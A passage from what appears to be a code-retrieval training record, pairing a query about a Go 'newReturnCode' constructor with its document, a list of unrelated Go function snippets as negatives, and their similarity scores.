= fmt.Sprintf(\"$%X\", addr)\n\n\t\tcase 0x01: // absolute long\n\t\t\tvar addr uint32\n\t\t\taddr, err = c.M.Long(int(c.PC))\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tc.PC += 4\n\t\t\tn, err = c.M.Word(int(addr))\n\t\t\topr = fmt.Sprintf(\"$%X\", addr)\n\n\t\tcase 0x04: // immediate word\n\t\t\tn, err = c.M.Word(int(c.PC))\n\t\t\tc.PC += 2\n\t\t\topr = fmt.Sprintf(\"#$%X\", wordToInt32(n))\n\t\t}\n\t}\n\treturn\n}", "func (wordSearchSystemServer *WordSearchSystemServer) SearchWord(ctx context.Context, in *wordsearchsystemgrpc.SearchWordRequest) (*wordsearchsystemgrpc.SearchWordReply, error) {\n\tmatches := wordSearchSystemServer.wordSearchService.SearchWord(in.KeyWord)\n\treturn &wordsearchsystemgrpc.SearchWordReply{Matches: matches}, nil\n}", "func ToWord() Tokeniser {\n\treturn createToWordTokeniser()\n}", "func (m *RecurrencePattern) GetIndex()(*WeekIndex) {\n return m.index\n}", "func (game *Game) CheckWord(word string) bool {\n\treturn game.Dictionary.Words[word]\n}", "func (fr *Frame) ParseWord(s string) (T, string) {\n\t//- log.Printf(\"< ParseWord < %#v\\n\", s)\n\ti := 0\n\tn := len(s)\n\tbuf := bytes.NewBuffer(nil)\n\nLoop:\n\tfor i < n {\n\t\tc := s[i]\n\t\tswitch c {\n\t\tcase '[':\n\t\t\t// Mid-word, squares should return stringlike result.\n\t\t\tnewresult2, rest2 := fr.ParseSquare(s[i:])\n\t\t\tbuf.WriteString(newresult2.String())\n\t\t\ts = rest2\n\t\t\tn = len(s)\n\t\t\ti = 0\n\t\tcase ']':\n\t\t\tbreak Loop\n\t\tcase '$':\n\t\t\tnewresult3, rest3 := fr.ParseDollar(s[i:])\n\n\t\t\t// Special case, the entire word is dollar-substituted. \n\t\t\tif i == 0 && buf.Len() == 0 && (len(rest3) == 0 || WhiteOrSemi(rest3[0]) || rest3[0] == ']') {\n\t\t\t\treturn newresult3, rest3\n\t\t\t}\n\n\t\t\tbuf.WriteString(newresult3.String())\n\t\t\ts = rest3\n\t\t\tn = len(s)\n\t\t\ti = 0\n\t\tcase ' ', '\\t', '\\n', '\\r', ';':\n\t\t\tbreak Loop\n\t\tcase '\"':\n\t\t\tpanic(\"ParseWord: DoubleQuote inside word\")\n\t\tcase '\\\\':\n\t\t\tc, i = consumeBackslashEscaped(s, i)\n\t\t\tbuf.WriteByte(c)\n\t\tdefault:\n\t\t\tbuf.WriteByte(c)\n\t\t\ti++\n\t\t}\n\t}\n\t// result = MkString(buf.String())\n\t// rest = s[i:]\n\t//- log.Printf(\"> ParseWord > %#v > %q\\n\", result, rest)\n\treturn MkString(buf.String()), s[i:]\n}", "func (tp *Trie) AddWord(word string) int {\n\treturn tp.Add([]rune(word))\n}", "func GetModelWord(dbConn *sql.DB, modelId int, langCode string) (*ModelWordMeta, error) {\r\n\r\n\t// select model name and digest by id\r\n\tmeta := &ModelWordMeta{}\r\n\r\n\terr := SelectFirst(dbConn,\r\n\t\t\"SELECT model_name, model_digest FROM model_dic WHERE model_id = \"+strconv.Itoa(modelId),\r\n\t\tfunc(row *sql.Row) error {\r\n\t\t\treturn row.Scan(&meta.ModelName, &meta.ModelDigest)\r\n\t\t})\r\n\tswitch {\r\n\tcase err == sql.ErrNoRows:\r\n\t\treturn nil, errors.New(\"model not found, invalid model id: \" + strconv.Itoa(modelId))\r\n\tcase err != nil:\r\n\t\treturn nil, err\r\n\t}\r\n\r\n\t// make where clause parts:\r\n\t// WHERE M.model_id = 1234 AND L.lang_code = 'EN'\r\n\twhere := \" WHERE M.model_id = \" + strconv.Itoa(modelId)\r\n\tif langCode != \"\" {\r\n\t\twhere += \" AND L.lang_code = \" + ToQuoted(langCode)\r\n\t}\r\n\r\n\t// select db rows from model_word\r\n\terr = SelectRows(dbConn,\r\n\t\t\"SELECT\"+\r\n\t\t\t\" M.model_id, M.lang_id, L.lang_code, M.word_code, M.word_value\"+\r\n\t\t\t\" FROM model_word M\"+\r\n\t\t\t\" INNER JOIN lang_lst L ON (L.lang_id = M.lang_id)\"+\r\n\t\t\twhere+\r\n\t\t\t\" ORDER BY 1, 2, 4\",\r\n\t\tfunc(rows *sql.Rows) error {\r\n\r\n\t\t\tvar mId, lId int\r\n\t\t\tvar lCode, wCode, wVal string\r\n\t\t\tvar srcVal sql.NullString\r\n\t\t\tif err := rows.Scan(&mId, &lId, &lCode, &wCode, &srcVal); err != nil {\r\n\t\t\t\treturn err\r\n\t\t\t}\r\n\t\t\tif srcVal.Valid {\r\n\t\t\t\twVal = srcVal.String\r\n\t\t\t}\r\n\r\n\t\t\tfor k := range meta.ModelWord {\r\n\t\t\t\tif meta.ModelWord[k].LangCode == lCode {\r\n\t\t\t\t\tmeta.ModelWord[k].Words[wCode] = wVal // append word (code,value) to existing language\r\n\t\t\t\t\treturn nil\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t// no such language: append new language and append word (code,value) to that language\r\n\t\t\tidx := len(meta.ModelWord)\r\n\t\t\tmeta.ModelWord = append(\r\n\t\t\t\tmeta.ModelWord, modelLangWord{LangCode: lCode, Words: make(map[string]string)})\r\n\t\t\tmeta.ModelWord[idx].Words[wCode] = wVal\r\n\r\n\t\t\treturn nil\r\n\t\t})\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\r\n\treturn meta, nil\r\n}", "func lexWord(l *reader) stateFn {\ntop:\n\tswitch r := l.next(); {\n\tcase isPunctuation(r):\n\t\tl.backup()\n\t\tl.emit(itemWord)\n\tdefault:\n\t\tgoto top\n\t}\n\treturn lexItem\n}", "func (rf *Raft) getTermForIndex(index int) int {\n\tPanicIfF(index < rf.snapshotIndex, \"getTermForIndex: index to small: index=%d, snapshotIndex=%d\", index, rf.snapshotIndex)\n\tPanicIfF(index > rf.getLastIndex(), \"index > rf.getLastIndex()\")\n\n\tif index == rf.snapshotIndex {\n\t\treturn rf.snapshotTerm\n\t}\n\toffset := rf.getOffsetFromIndex(index)\n\tPanicIfF(offset >= len(rf.logs), \"offset{%d} >= len(rf.logs){%d}\", offset, len(rf.logs))\n\treturn rf.logs[offset].Term\n}", "func (c *Client) SearchWord(word string) ([]string, error) {\n\ttrapdoors := c.indexer.ComputeTrapdoors(word)\n\tdocuments, err := c.searchCli.SearchWord(context.TODO(), trapdoors)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfilenames := make([]string, len(documents))\n\tfor i, docID := range documents {\n\t\tpathname, err := docIDToPathname(docID, c.pathnameKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfilenames[i] = filepath.Join(c.directory, pathname)\n\t}\n\n\tsort.Strings(filenames)\n\treturn filenames, nil\n}", "func Lookup(name string) string {\n\treturn index[name]\n}", "func getTextByIndex(myText string) byte {\n\t//\n\tvar textIndex byte = myText[0]\n\treturn textIndex \n}", "func (t *trs80) writeWord(w *scottpb.Word) {\n\tif w.Synonym {\n\t\tfmt.Fprintf(t.out, \"\\\"*%s\\\"\\n\", w.Word)\n\t} else {\n\t\tfmt.Fprintf(t.out, \"\\\"%s\\\"\\n\", w.Word)\n\t}\n}", "func GetWordByDate(w http.ResponseWriter, r *http.Request) {\n\tword := scraper.ScrapeTodayWord(time.Now())\n\tServeJson(&w, r, word)\n}", "func GetWordToday(w http.ResponseWriter, r *http.Request) {\n\tword := scraper.ScrapeTodayWord(time.Now())\n\tServeJson(&w, r, word)\n}", "func (ss *SharedStrings) get(index int) *ml.StringItem {\n\tss.file.LoadIfRequired(ss.afterLoad)\n\n\tif index < len(ss.ml.StringItem) {\n\t\treturn ss.ml.StringItem[index]\n\t}\n\n\treturn nil\n}", "func nextWord(current wncRow, userFrag, roomFrag qFrag) wncRow {\n\tsqlbuf := bytes.NewBufferString(\"SELECT word,next,count FROM blabberwords WHERE word=? \")\n\tparams := []interface{}{current.next}\n\n\tif !userFrag.empty {\n\t\tsqlbuf.WriteString(\" AND \")\n\t\tsqlbuf.WriteString(userFrag.sql)\n\t\tparams = append(params, userFrag.params...)\n\t}\n\n\tif !roomFrag.empty {\n\t\tsqlbuf.WriteString(\" AND \")\n\t\tsqlbuf.WriteString(roomFrag.sql)\n\t\tparams = append(params, roomFrag.params...)\n\t}\n\n\trows := getRows(sqlbuf.String(), params)\n\n\tif len(rows) == 0 {\n\t\tlog.Printf(\"blabber.nextWord got 0 rows, returning empty row\")\n\t\treturn wncRow{\"\", \"\", 0}\n\t}\n\n\tidx := rand.Intn(len(rows) - 1)\n\treturn rows[idx]\n}", "func parseWord(data []byte) (word, rest []byte) {\n\tdata = skipSpaceOrComment(data)\n\n\t// Parse past leading word characters.\n\trest = data\n\tfor {\n\t\tr, size := utf8.DecodeRune(rest)\n\t\tif unicode.IsLetter(r) || '0' <= r && r <= '9' || r == '_' {\n\t\t\trest = rest[size:]\n\t\t\tcontinue\n\t\t}\n\t\tbreak\n\t}\n\n\tword = data[:len(data)-len(rest)]\n\tif len(word) == 0 {\n\t\treturn nil, nil\n\t}\n\n\treturn word, rest\n}", "func Wordmap(word string) {\n\n\tlistOfLines := reuse.ReadLineByLineFromFile(\"iq/text.dat\")\n\n\t// map of word\n\tmapW := make(map[string][]structLoc)\n\n\tfor i, line := range listOfLines {\n\n\t\tpattern := \"[\\\\/\\\\:\\\\,\\\\.\\\\s]+\"\n\t\tlistOfwords := reuse.Tokenize(line,pattern)\n\n\t\tfor _, word := range listOfwords {\n\t\t\tindices := reuse.GetColPos(line, word)\n\n\t\t\tif mapW[word] == nil {\n\t\t\t\tarrStructLoc := make([]structLoc, 0)\n\t\t\t\tarrStructLoc = addToArrStructLoc(i, indices, arrStructLoc)\n\t\t\t\tmapW[word] = arrStructLoc\n\t\t\t} else {\n\t\t\t\tarrStructLoc := mapW[word]\n\t\t\t\tarrStructLoc = addToArrStructLoc(i, indices, arrStructLoc)\n\t\t\t\tmapW[word] = arrStructLoc\n\t\t\t}\n\t\t}\n\t}\n\tfmt.Println(mapW[word])\n}", "func (f *Forth) compileWord(token string) error {\n\tw := word{func(f *Forth) error { return nil }, \"\"}\n\tf.dict[strings.ToLower(token)] = w\n\treturn nil\n}", "func EvaluateWord(text string, matter string) (word model.Word) {\n\ttext = strings.ToLower(strings.Replace(text, \" \", \"\", -1))\n\tword.Length = len(text)\n\tword.Text = text\n\tword.Matter.Name = matter\n\treturn\n}", "func GetHashTableIndex(word string) int {\n\tprimoRangeRX := regexp.MustCompile(\"^[a-i]{1}\")\n\tsecondoRangeRX := regexp.MustCompile(\"^[j-r]{1}\")\n\tterzoRangeRX := regexp.MustCompile(\"^[s-z]{1}\")\n\n\tswitch {\n\tcase primoRangeRX.MatchString(word):\n\t\treturn 0\n\tcase secondoRangeRX.MatchString(word):\n\t\treturn 1\n\tcase terzoRangeRX.MatchString(word):\n\t\treturn 2\n\t}\n\treturn -1\n}", "func (service *SynonymService) EditWord(word vm.Word, replacement vm.Word) (*[]vm.Word, int) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\n\t//Check if new word aready exists\n\tif _, ok := service.Synonyms[replacement.Word]; ok {\n\t\treturn nil, status.ErrorSynonymAllreadyEsists\n\t}\n\n\t// Check if word already exists\n\tif val, ok := service.Synonyms[word.Word]; ok {\n\n\t\tfor i, existingWord := range *val {\n\n\t\t\tif existingWord.Word == word.Word {\n\t\t\t\t(*val)[i].Word = replacement.Word\n\t\t\t}\n\t\t}\n\t\tservice.Synonyms[replacement.Word] = val\n\t\tdelete(service.Synonyms, word.Word)\n\n\t\treturn val, 0\n\n\t}\n\n\treturn nil, status.ErrorWordDoesNotExist\n}", "func (f *Faker) Word() string { return word(f.Rand) }", "func TranslateWord(word string) (string, error) {\n\t// If no word is supplied, return an error\n\tif len(word) < 1 {\n\t\treturn \"\", fmt.Errorf(\"no word specified\")\n\t}\n\n\t// The word starts with a vowel letter\n\tif isLetterVowel(rune(word[0])) {\n\t\treturn \"g\" + word, nil\n\t}\n\n\t// The word starts with \"xr\"\n\tif len(word) > 2 && word[:2] == \"xr\" {\n\t\treturn \"ge\" + word, nil\n\t}\n\n\t// The word starts with a consonant letter, followed by \"qu\"\n\tif len(word) > 3 && isLetterConsonant(rune(word[0])) && word[1:3] == \"qu\" {\n\t\treturn word[3:] + word[:3] + \"ogo\", nil\n\t}\n\n\t// The word starts with a consonant sound\n\tif isLetterConsonant(rune(word[0])) && isLetterConsonant(rune(word[1])) {\n\t\tif len(word) == 2 {\n\t\t\treturn string(word[1]) + string(word[0]) + \"ogo\", nil\n\t\t}\n\n\t\tindex := findFirstVowelIndex(word)\n\n\t\treturn word[index:] + word[:index] + \"ogo\", nil\n\t}\n\n\treturn word, nil\n}", "func (g *Goi18n) GetLangByIndex(index int) string {\n\tif index < 0 || index >= len(g.langs) {\n\t\treturn \"\"\n\t}\n\n\tg.mu.RLock()\n\tdefer g.mu.RUnlock()\n\treturn g.langs[index]\n}", "func (l *SLexicon) GetSemantic(word string) string {\n\tl.Lock() // one at a time\n\tdefer l.Unlock()\n\n\tif val, ok := l.Semantic[word]; ok { // non case sensitive first\n\t\treturn val\n\t}\n\tlwrStr := strings.ToLower(word)\n\tstemmedWord := l.GetStem(lwrStr)\n\tif val, ok := l.Semantic[stemmedWord]; ok {\n\t\treturn val\n\t}\n\treturn \"\"\n}", "func (st *SlimTrie) Get(key string) (eqVal interface{}, found bool) {\n\n\tvar word byte\n\tfound = false\n\teqID := int32(0)\n\n\t// string to 4-bit words\n\tlenWords := 2 * len(key)\n\n\tfor idx := -1; ; {\n\n\t\tbm, rank, hasInner := st.Children.GetWithRank(eqID)\n\t\tif !hasInner {\n\t\t\t// maybe a leaf\n\t\t\tbreak\n\t\t}\n\n\t\tstep, foundstep := st.Steps.Get(eqID)\n\t\tif foundstep {\n\t\t\tidx += int(step)\n\t\t} else {\n\t\t\tidx++\n\t\t}\n\n\t\tif lenWords < idx {\n\t\t\teqID = -1\n\t\t\tbreak\n\t\t}\n\n\t\tif lenWords == idx {\n\t\t\tbreak\n\t\t}\n\n\t\t// Get a 4-bit word from 8-bit words.\n\t\t// Use arithmetic to avoid branch missing.\n\t\tshift := 4 - (idx&1)*4\n\t\tword = ((key[idx>>1] >> uint(shift)) & 0x0f)\n\n\t\tbb := uint64(1) << word\n\t\tif bm&bb != 0 {\n\t\t\tchNum := bits.OnesCount64(bm & (bb - 1))\n\t\t\teqID = rank + 1 + int32(chNum)\n\t\t} else {\n\t\t\teqID = -1\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif eqID != -1 {\n\t\teqVal, found = st.Leaves.Get(eqID)\n\t}\n\n\treturn\n}", "func getSword() int {\r\n var w int\r\n if fileDataPos >= len(fileData) {\r\n return 65536\r\n }\r\n w = int(fileData[fileDataPos])\r\n fileDataPos++\r\n w += (int(fileData[fileDataPos]) * 0x100)\r\n fileDataPos++\r\n if (w & 0x8000) != 0 {\r\n return -(32768 - (w & 0x7FFF))\r\n }\r\n return w\r\n}", "func (w Word) WordString() string {\n\tphoneList := w.PhoneList()\n\tvar buffer bytes.Buffer\n\tvar phone Phone\n\n\tfor len(phoneList) > 0 {\n\t\tphone, phoneList = phoneList[0], phoneList[1:]\n\t\tbuffer.WriteString(string(phone.Char()))\n\t}\n\n\treturn buffer.String()\n}", "func (self *T) mWORD() {\r\n \r\n \r\n\t\t_type := T_WORD\r\n\t\t_channel := antlr3rt.DEFAULT_TOKEN_CHANNEL\r\n\t\t// C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:10:5: ( ( 'a' .. 'z' | 'A' .. 'Z' )+ )\r\n\t\t// C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:10:7: ( 'a' .. 'z' | 'A' .. 'Z' )+\r\n\t\t{\r\n\t\t// C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:10:7: ( 'a' .. 'z' | 'A' .. 'Z' )+\r\n\t\tcnt1 := 0\r\n\t\tloop1:\r\n\t\tfor {\r\n\t\t alt1 := 2\r\n\t\t LA1_0 := (*self.Input()).LA(1)\r\n\r\n\t\t if ( ((LA1_0 >= 'A' && LA1_0 <= 'Z')||(LA1_0 >= 'a' && LA1_0 <= 'z')) ) {\r\n\t\t alt1=1\r\n\t\t }\r\n\r\n\r\n\t\t switch (alt1) {\r\n\t\t\tcase 1 :\r\n\t\t\t // C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:\r\n\t\t\t {\r\n\t\t\t if ((*self.Input()).LA(1) >= 'A' && (*self.Input()).LA(1)<='Z')||((*self.Input()).LA(1) >= 'a' && (*self.Input()).LA(1)<='z') {\r\n\t\t\t (*self.Input()).Consume()\r\n\t\t\t } else {\r\n\t\t\t panic( &antlr3rt.MismatchedTokenException{} )\r\n\t\t\t }\r\n\r\n\r\n\t\t\t }\r\n\r\n\t\t \r\n\t\t\tdefault :\r\n\t\t\t if cnt1 >= 1 {\r\n\t\t\t break loop1;\r\n\t\t\t }\r\n\t\t panic( &antlr3rt.EarlyExitException{} )\r\n\t\t }\r\n\t\t cnt1++;\r\n\t\t}\r\n\r\n\r\n\t\t}\r\n\r\n\t\tself.State().SetType( _type )\r\n\t\tself.State().SetChannel( _channel )\r\n}", "func searchWord(root *TrieNode, word string) map[int]bool {\n ret := make(map[int]bool)\n for i := len(word)-1; i>=0; i-- {\n if root.idx != -1 && isPalindrome(word[:i+1]) {\n ret[root.idx] = true\n }\n offset := word[i]-'a'\n if root.nodes[offset] == nil {\n return ret\n }\n root = root.nodes[offset]\n }\n for k, _ := range root.match {\n ret[k] = true\n }\n return ret\n}", "func (this *WordDictionary) AddWord(word string) {\n \n}", "func GenWord() string {\n\tcount := 1000\n\tresult := \"\"\n\tfor i := 0; i < count; i++ {\n\t\tresult += \" Hello world!....\\n\"\n\t}\n\n\treturn result\n}", "func (t *Tokeniser) checkWord(word string) (int, bool) {\n\tcurrInput := t.Input[t.pos:]\n\tif !strings.HasPrefix(currInput, word) {\n\t\treturn 0, false\n\t}\n\treturn len(word), true\n}", "func isWord(txt string, i, n int) bool {\n\tif i == 0 {\n\t\treturn !syntax.IsWordChar(rune(txt[n+1]))\n\t} else if n == len(txt)-1 {\n\t\treturn !syntax.IsWordChar(rune(txt[i-1]))\n\t}\n\treturn !syntax.IsWordChar(rune(txt[i-1])) && !syntax.IsWordChar(rune(txt[n+1]))\n}", "func wordDetail(w http.ResponseWriter, r *http.Request) {\n\tif config.PasswordProtected() {\n\t\tctx := context.Background()\n\t\tsessionInfo := b.sessionEnforcer.EnforceValidSession(ctx, w, r)\n\t\tif !sessionInfo.Valid {\n\t\t\treturn\n\t\t}\n\t}\n\n\tlog.Printf(\"main.wordDetail path: %s\", r.URL.Path)\n\thwId, err := getHeadwordId(r.URL.Path)\n\tif err != nil {\n\t\tlog.Printf(\"main.wordDetail headword not found: %v\", err)\n\t\thttp.Error(w, \"Not found\", http.StatusNotFound)\n\t\treturn\n\t}\n\tif hw, ok := b.dict.HeadwordIds[hwId]; ok {\n\t\ttitle := b.webConfig.GetVarWithDefault(\"Title\", defTitle)\n\t\tmatch := b.webConfig.GetVar(\"NotesReMatch\")\n\t\treplace := b.webConfig.GetVar(\"NotesReplace\")\n\t\tprocessor := dictionary.NewNotesProcessor(match, replace)\n\t\tword := processor.Process(*hw)\n\t\tcontent := htmlContent{\n\t\t\tTitle: title,\n\t\t\tData: struct {\n\t\t\t\tWord dicttypes.Word\n\t\t\t}{\n\t\t\t\tWord: word,\n\t\t\t},\n\t\t}\n\t\tb.pageDisplayer.DisplayPage(w, \"word_detail.html\", content)\n\t\treturn\n\t}\n\n\tmsg := fmt.Sprintf(\"Not found: %d\", hwId)\n\thttp.Error(w, msg, http.StatusNotFound)\n}", "func JumpWordBackward(b *novi.Buffer, c *novi.Cursor) (int, int) {\n\treturn JumpAlNumSepBackward(b, c, true)\n}", "func (pma *PMA) MatchWord(input string) []Match {\n\treturn pma.Match([]rune(input))\n}", "func (a *ALU) PopWord() uint16 {\n\tret := uint16(a.InternalRAM[a.StackPtr]) << 8\n\tret = ret | uint16(a.InternalRAM[a.StackPtr-1])\n\ta.StackPtr -= 2\n\treturn ret\n}", "func Word() string { return word(globalFaker.Rand) }", "func (d *babbleDictionary) GetWordList() []string {\n\treturn d.sourceList\n}", "func (d *dictionary) add(word string) tokenID {\n\tif idx := d.getIndex(word); idx != unknownIndex {\n\t\treturn idx\n\t}\n\t// token IDs start from 1, 0 is reserved for the invalid ID\n\tidx := tokenID(len(d.words) + 1)\n\td.words[idx] = word\n\td.indices[word] = idx\n\treturn idx\n}", "func newWord(vm *VM, sym string) cell {\n\treturn newCell(ptr(vm.getSymbolID(sym)), 0, WordType)\n}", "func Getw(bm []uint64, i int32, w int32) uint64 {\n\ti *= w\n\treturn (bm[i>>6] >> uint(i&63)) & Mask[w]\n}", "func getDword() int {\r\n var dw int\r\n \r\n dw = int(fileData[fileDataPos])\r\n dw += (int(fileData[fileDataPos+1]) * 0x100)\r\n dw += (int(fileData[fileDataPos+2]) * 0x10000)\r\n dw += (int(fileData[fileDataPos+3]) * 0x1000000)\r\n fileDataPos += 4\r\n return dw\r\n}", "func (m Model) AddWord(word string) *Word {\n\tw := Word{Word: word}\n\tif _, err := m.PG.Model(&w).Where(\"word = ?\", word).SelectOrInsert(); err != nil {\n\t\tlog.Printf(\"failed select or insert word \\\"%s\\\", message: %s\", word, err)\n\t}\n\tlog.Printf(\"processed word \\\"%s\\\"\", word)\n\treturn &w\n}", "func (wd Word) RetrieveWordByID(ctx context.Context, w http.ResponseWriter, r *http.Request) error {\n\n\t_id := chi.URLParam(r, \"_id\")\n\n\twordFound, err := word.RetrieveWordByID(ctx, wd.DB, _id)\n\tif err != nil {\n\t\tswitch err {\n\t\tcase apierror.ErrNotFound:\n\t\t\treturn web.NewRequestError(err, http.StatusNotFound)\n\t\tcase apierror.ErrInvalidID:\n\t\t\treturn web.NewRequestError(err, http.StatusBadRequest)\n\t\tdefault:\n\t\t\treturn errors.Wrapf(err, \"looking for word %q\", _id)\n\t\t}\n\t}\n\n\treturn web.Respond(ctx, w, wordFound, http.StatusOK)\n}", "func ExampleTerm_Get() {\n\t// Fetch the row from the database\n\tres, err := DB(\"examples\").Table(\"heroes\").Get(2).Run(session)\n\tif err != nil {\n\t\tfmt.Print(err)\n\t\treturn\n\t}\n\tdefer res.Close()\n\n\tif res.IsNil() {\n\t\tfmt.Print(\"Row not found\")\n\t\treturn\n\t}\n\n\tvar hero map[string]interface{}\n\terr = res.One(&hero)\n\tif err != nil {\n\t\tfmt.Printf(\"Error scanning database result: %s\", err)\n\t\treturn\n\t}\n\tfmt.Print(hero[\"name\"])\n\n\t// Output: Superman\n}", "func Word() string{\n\tword := make([]uint8, rand.Intn(100) + 1) //Generate the character base array\n\tfor i := 0; i < len(word); i++ {\n\t\tword[i] = Char()//Generate every character\n\t}\n\treturn string(word)\n}", "func getWords() map[string]int {\n\n\treader := r.NewReader(os.Stdin)\n\n\twords := make(map[string]int)\n\n\tfor {\n\t\tf.Println(\"-----\")\n\t\tf.Println(\"Current words are:\")\n\t\tif len(words) > 0 {\n\t\t\tfor k, v := range words {\n\t\t\t\tf.Printf(\"%q = %v\\n\", k, v)\n\t\t\t}\n\t\t} else {\n\t\t\tf.Println(\"No words\")\n\t\t}\n\t\tf.Println()\n\t\tf.Println(\"Enter - Finish updating words\")\n\t\tf.Println(\"Add - Add a word\")\n\t\tf.Println(\"Mod - Change a word value\")\n\t\tf.Println(\"Del - Remove a word\")\n\n\t\ttext, _ := reader.ReadString('\\n')\n\t\tcmd := ss.ToLower(ss.Replace(text, \"\\n\", \"\", -1))\n\n\t\tswitch cmd {\n\t\tcase \"\":\n\t\t\treturn words\n\t\tcase \"add\":\n\t\t\taddWord(words)\n\t\tcase \"mod\":\n\t\t\tmodWords(words)\n\t\tcase \"del\":\n\t\t\tdelWords(words)\n\t\tdefault:\n\t\t\tcontinue\n\t\t}\n\n\t}\n}", "func (w *Writer) WriteWord(word string) {\n\tw.writeBytes([]byte(word))\n}", "func (e Es) GetDocument(index string, docType string, id string) (string, error) {\n\tbody, err := e.getJSON(fmt.Sprintf(\"/%s/%s/%s\", index, docType, id))\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\terr = checkError(body)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Index %s failed: %s\", index, err.Error())\n\t}\n\n\tresult, err := utils.MapToYaml(body)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn result, nil\n}", "func (service *SynonymService) GetSynonyms(word vm.Word) ([]vm.Word, int) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\t// Check if word already exists\n\tif val, ok := service.Synonyms[word.Word]; ok {\n\n\t\treturn *val, 0\n\n\t}\n\n\treturn nil, status.ErrorWordDoesNotExist\n\n}", "func get_meaning(word string) []byte {\n\tvar meanings []string\n\ttime.Sleep(1000 * time.Millisecond)\n\tdoc, err := goquery.NewDocument(\"http://ejje.weblio.jp/content/\" + word)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdoc.Find(\".level0\").Each(func(i int, s *goquery.Selection) {\n\t\tmeanings = append(meanings, s.Text())\n\t})\n\n\tmeaning := strings.Join(meanings, \",\")\n\n\treturn []byte(word + \"\\t\" + meaning + \"\\n\")\n}", "func (service *SynonymService) GetWords() ([]vm.Word, error) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\twords := make([]vm.Word, 0)\n\t// Check if word already exists\n\tfor k := range service.Synonyms {\n\t\twords = append(words, vm.Word{Word: k})\n\t}\n\treturn words, nil\n\n}", "func (t *Trie) find(word string) *node {\n\tchars := t.toChars(word)\n\tr := t.root\n\tfor i := 0; i < len(chars); i++ {\n\t\tif _, ok := r.children[chars[i]]; !ok {\n\t\t\tbreak\n\t\t}\n\t\tr = r.children[chars[i]]\n\t\tif i == len(chars)-1 {\n\t\t\treturn r\n\t\t}\n\t}\n\treturn nil\n}", "func (impl *Impl) ExtractIndexableWords() []string {\n\tw := make([]string, 0, 20)\n\tw = append(w, fmt.Sprintf(\"%d\", impl.Id))\n\tw = append(w, strings.ToLower(impl.LanguageName))\n\tw = append(w, SplitForIndexing(impl.ImportsBlock, true)...)\n\tw = append(w, SplitForIndexing(impl.CodeBlock, true)...)\n\tif len(impl.AuthorComment) >= 3 {\n\t\tw = append(w, SplitForIndexing(impl.AuthorComment, true)...)\n\t}\n\tif langExtras, ok := langsExtraKeywords[impl.LanguageName]; ok {\n\t\tw = append(w, langExtras...)\n\t}\n\t// Note: we don't index external URLs.\n\treturn w\n}", "func (r Replicator) Get_Term() int {\n\treturn r.currentTerm\n}" ]
[ "0.80988747", "0.69863695", "0.68881804", "0.68726754", "0.6871206", "0.6835941", "0.6779137", "0.67493546", "0.668638", "0.6423421", "0.62679845", "0.6260439", "0.5951865", "0.58868194", "0.5814742", "0.5802234", "0.5717186", "0.5684572", "0.5655523", "0.5647893", "0.56158155", "0.5603246", "0.5587167", "0.55366117", "0.5513456", "0.55026656", "0.5413751", "0.54109925", "0.53940743", "0.5386412", "0.53851384", "0.537606", "0.53545105", "0.5353563", "0.52999264", "0.52856326", "0.52754647", "0.52736026", "0.52682686", "0.5257012", "0.52517015", "0.5249117", "0.5240921", "0.5227747", "0.5214026", "0.5207246", "0.5201766", "0.5199724", "0.5180926", "0.5161476", "0.5147678", "0.5127769", "0.5125117", "0.51145536", "0.5113862", "0.50942653", "0.50818276", "0.50678426", "0.5062462", "0.50616634", "0.50517046", "0.50452775", "0.5044427", "0.5040723", "0.50371945", "0.5033973", "0.5033169", "0.50241524", "0.5019379", "0.5017773", "0.501582", "0.5015384", "0.50131655", "0.500936", "0.5005846", "0.5002681", "0.4995486", "0.49924132", "0.49867463", "0.49727798", "0.49716744", "0.496749", "0.49509093", "0.49501547", "0.49451694", "0.494147", "0.49334", "0.49295253", "0.49217945", "0.49149895", "0.49086028", "0.49085107", "0.4902707", "0.48981732", "0.48868605", "0.48865044", "0.48687777", "0.48667386", "0.48291463", "0.48222673" ]
0.8386377
0
function newReturnCode() constructs a new ReturnCode object with a specified return code, description, and info.
func newReturnCode(kind ReturnCodeKind, code int, desc string, info string) *ReturnCode { return &ReturnCode{kind, code, desc, info} }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c ErrorCode) New(msg string) error {\n\treturn apperrors.WithStatusCode(apperrors.New(msg), int(c))\n}", "func (msg *UnSubAck) AddReturnCode(ret ReasonCode) error {\n\treturn msg.AddReturnCodes([]ReasonCode{ret})\n}", "func (pc *programCode) createReturn() {\n\tcode := \"\\tret\\n\"\n\n\tpc.appendCode(code)\n\tpc.indentLevel-- // get back -> buffer before\n}", "func (o *CreateRepository8Created) Code() int {\n\treturn 201\n}", "func newReply(ctx *Context) *Reply {\n\treturn &Reply{\n\t\tCode: http.StatusOK,\n\t\tgzip: true,\n\t\tctx: ctx,\n\t}\n}", "func NewCode(code codes.Code, msg string) error {\n\treturn customError{errorType: ErrorType(code), originalError: errors.New(msg)}\n}", "func New(c AppErrCode, msg string) *WithCode {\n\treturn &WithCode{\n\t\tcode: c,\n\t\terror: errors.New(msg),\n\t}\n}", "func New(msg string, code ...int) error {\n\tstt := http.StatusInternalServerError\n\tif len(code) > 0 {\n\t\tstt = code[0]\n\t}\n\treturn &CError{\n\t\tCode: stt,\n\t\tMessage: msg,\n\t\tcallStack: 